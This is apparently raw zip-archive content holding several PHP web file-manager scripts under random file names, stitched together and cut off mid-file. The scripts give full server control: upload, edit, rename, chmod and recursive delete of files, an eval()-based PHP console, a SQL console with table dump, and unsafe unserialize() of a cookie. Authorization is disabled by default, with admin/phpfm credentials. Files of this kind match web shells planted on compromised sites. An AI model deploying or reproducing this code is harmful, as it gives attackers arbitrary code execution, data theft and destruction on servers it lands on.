echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
echo "</body></html>";
exit;
}
}
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
if(move_uploaded_file($uploaded['tmp_name'], $dest)){
@chmod($dest, 0644);
$message = "File '{$name}' uploaded successfully!";
} else {
$message = "Error uploading file '{$name}'!";
}
} else {
$message = "Invalid upload path!";
}
} else {
$message = "Upload error: " . $uploaded['error'];
}
}
// Stay on same page with message
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
if(mkdir($fp, 0755, true)){
$message = "Folder '{$folder}' created successfully!";
} else {
$message = "Error creating folder '{$folder}'!";
}
} else {
$message = "Folder already exists or invalid path!";
}
} else {
$message = "Please enter a folder name!";
}
}
// Stay on same page with message
break;
}
// Get message from URL if redirected
if(isset($_GET['message'])){
$message = $_GET['message'];
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: Arial, sans-serif;
background: #f2f4f8;
padding: 20px;
}
.container {
background: #fff;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0,0,0,.08);
}
h1 {
margin-bottom: 12px;
}
.table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 10px;
border-bottom: 1px solid #eee;
}
th {
background: #007bff;
color: #fff;
text-align: left;
}
.trhover:hover {
background: #fafbfc;
}
.btn {
display: inline-block;
padding: 6px 10px;
background: #007bff;
color: #fff;
border-radius: 6px;
text-decoration: none;
margin-right: 6px;
border: none;
cursor: pointer;
font-size: 14px;
}
.btn:hover {
background: #0056b3;
}
.btn-danger {
background: #dc3545;
}
.btn-danger:hover {
background: #c82333;
}
.btn-success {
background: #28a745;
}
.btn-success:hover {
background: #218838;
}
.pathbar {
background: #eef2f5;
padding: 10px;
border-radius: 8px;
margin-bottom: 15px;
}
.toolbar {
margin-bottom: 12px;
padding: 10px;
background: #f8f9fa;
border-radius: 8px;
}
.small {
font-size: 0.9em;
color: #666;
}
.message {
padding: 10px;
margin: 10px 0;
border-radius: 5px;
font-weight: bold;
}
.message.success {
background: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.message.error {
background: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
input[type="text"], input[type="file"] {
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
margin-right: 5px;
}
.breadcrumb {
margin: 10px 0;
font-size: 14px;
}
.breadcrumb a {
color: #007bff;
text-decoration: none;
}
.breadcrumb a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>
<?php if($message): ?>
<div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
<?= htmlspecialchars($message) ?>
</div>
<?php endif; ?>
<div class="pathbar">
<!-- Navigation buttons -->
<a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
<a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
<a class="btn" href="?action=list&dir=">📁 Root</a>
<span class="small"> Current:
<?php if($requested_dir === ''): ?>
/ (<?= htmlspecialchars($root_anchor) ?>)
<?php else: ?>
/<?= htmlspecialchars($requested_dir) ?>
<?php endif; ?>
</span>
<!-- Breadcrumb navigation -->
<div class="breadcrumb">
<a href="?action=list&dir=">Root</a>
<?php foreach($dir_parts as $p): ?>
› <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
<?php endforeach; ?>
</div>
</div>
<div class="toolbar">
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
<input type="file" name="file" required>
<button class="btn btn-success" type="submit">📤 Upload</button>
</form>
<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
<input type="text" name="folder_name" placeholder="New Folder Name" required>
<button class="btn btn-success" type="submit">📁 Create Folder</button>
</form>
</div>
<?php
$files = get_file_list($current_dir);
if(empty($files)): ?>
<p><i>No files or folders found in this directory.</i></p>
<?php else: ?>
<table class="table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $f): ?>
<tr class="trhover">
<td>
<?php if($f['type'] === 'directory'): ?>
📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
<?php else: ?>
📄 <?= htmlspecialchars($f['name']) ?>
<?php endif; ?>
</td>
<td><?= $f['type'] ?></td>
<td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
<td><?= $f['modified'] ?></td>
<td>
<?php if($f['type'] === 'directory'):
$next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
?>
<a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
<?php else: ?>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
<a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
<?php endif; ?>
<a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
<div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
<small>
<strong>Security Info:</strong>
You can only access files within: <?= htmlspecialchars($root_anchor) ?>
</small>
</div>
</div>
<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
deleteLinks.forEach(function(link) {
link.addEventListener('click', function(e) {
// Let the server handle confirmation - don't prevent default
// The server will show a confirmation page
});
});
});
</script>
</body>
</html>PK �9m\�.�Q�% �% v95wi.phpnu �[��� <?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__); // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); // Base URL without query parameters
// Secure path resolver
function safePath($path) {
global $ROOT;
$full = realpath($path);
return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}
// Get current directory from query parameters
$path = $_GET['path'] ?? ''; // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT; // Resolve directory safely
// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Handle file uploads
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
if (move_uploaded_file($tmp, $destination)) {
echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
} else {
echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
}
}
}
}
// Handle new folder creation
if (!empty($_POST['newfolder'])) {
$newFolder = basename($_POST['newfolder']);
if (!file_exists($currentDir . '/' . $newFolder)) {
mkdir($currentDir . '/' . $newFolder, 0755);
}
}
// Handle new file creation
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
$filepath = $currentDir . '/' . $filename;
if (!file_exists($filepath)) {
file_put_contents($filepath, ''); // Create an empty file
}
}
// Handle file/folder deletion
if (!empty($_POST['delete'])) {
$target = safePath($currentDir . '/' . $_POST['delete']);
if (is_file($target)) {
unlink($target); // Delete file
} elseif (is_dir($target)) {
rmdir($target); // Delete folder
}
}
// Handle renaming files/folders
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$oldName = $currentDir . '/' . $_POST['old'];
$newName = $currentDir . '/' . $_POST['new'];
if (rename($oldName, $newName)) {
echo "Renamed successfully!";
}
}
// Handle chmod permissions change
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$target = safePath($currentDir . '/' . $_POST['chmod_file']);
if ($target) {
$mode = intval($_POST['chmod'], 8);
chmod($target, $mode);
}
}
// Handle file content editing
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$target = safePath($currentDir . '/' . $_POST['edit_file']);
if ($target && is_file($target)) {
file_put_contents($target, $_POST['content']);
}
}
// Redirect after POST action
header("Location: $BASE_URL?path=" . urlencode($path));
exit;
}
// ================= FILE LIST =================
$files = scandir($currentDir); // Get files and directories
// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
$target = safePath($currentDir . '/' . $editFile);
if ($target && is_file($target)) {
$editContent = htmlspecialchars(file_get_contents($target));
}
}
// Build path segments for navigation
$pathSegments = [];
if ($path) {
$segments = explode('/', trim($path, '/'));
$currentPath = '';
foreach ($segments as $segment) {
$currentPath .= '/' . $segment;
$pathSegments[] = [
'name' => $segment,
'path' => trim($currentPath, '/')
];
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sid Gifari File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #f5f5f5; }
.container { width: 90%; margin: auto; }
h2 { text-align: center; }
table { width: 100%; background: #fff; border-collapse: collapse; }
th, td { padding: 8px; border-bottom: 1px solid #ddd; }
a { text-decoration: none; color: #007bff; }
button { padding: 5px 10px; cursor: pointer; }
.drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
.permissions-form { display: inline-block; margin-left: 5px; }
.chmod-input { width: 60px; padding: 2px; }
.path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
.path-nav a { margin: 0 5px; color: #333; }
.path-nav a:hover { color: #007bff; }
.path-nav span.separator { margin: 0 5px; color: #999; }
</style>
</head>
<body>
<div class="container">
<h2>Sid Gifari File Manager</h2>
<?php if ($editMode && $editFile): ?>
<!-- EDIT FILE MODE -->
<div class="path-nav">
<a href="?">🏠 Root</a>
<?php foreach ($pathSegments as $segment): ?>
<span class="separator">/</span>
<a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
<?php endforeach; ?>
</div>
<h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
<form method="post">
<input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
<textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
<button type="submit">Save</button>
<a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
</form>
<?php else: ?>
<!-- NORMAL MODE -->
<!-- Path Navigation Bar -->
<div class="path-nav">
<a href="?">🏠 Root</a>
<?php foreach ($pathSegments as $segment): ?>
<span class="separator">/</span>
<a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
<?php endforeach; ?>
</div>
<div class="drop">
<form method="post" enctype="multipart/form-data">
<input type="file" name="files[]" multiple>
<button>Upload</button>
</form>
</div>
<!-- Create Folder Form -->
<form method="post" style="display:inline-block; margin-right:10px">
<input name="newfolder" placeholder="New Folder Name">
<button>Create Folder</button>
</form>
<!-- Create File Form -->
<form method="post" style="display:inline-block">
<input name="newfile" placeholder="New File Name">
<button>Create File</button>
</form>
<table>
<tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>
<?php foreach ($files as $f):
if ($f === '.' || $f === '..') continue;
$full = $currentDir . '/' . $f;
$perms = fileperms($full);
$permission = substr(sprintf('%o', $perms), -4);
?>
<tr>
<td>
<?php if (is_dir($full)): ?>
📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
<?php else: ?>
📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
<?php endif; ?>
</td>
<td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
<td>
<form method="post" class="permissions-form">
<input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
<button type="submit">Chmod</button>
</form>
</td>
<td>
<?php if (is_file($full)): ?>
<a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
<button>Edit</button>
</a>
<?php endif; ?>
<form method="post" style="display:inline">
<input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="new" placeholder="New name" style="width:120px">
<button type="submit">Rename</button>
</form>
<form method="post" style="display:inline">
<input type="hidden" name="delete" value="<?= $f ?>">
<button onclick="return confirm('Delete?')">❌</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<?php endif; ?>
</div>
</body>
</html>PK �9m\6^�d�5 �5 q1dsi.phpnu �[��� <?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
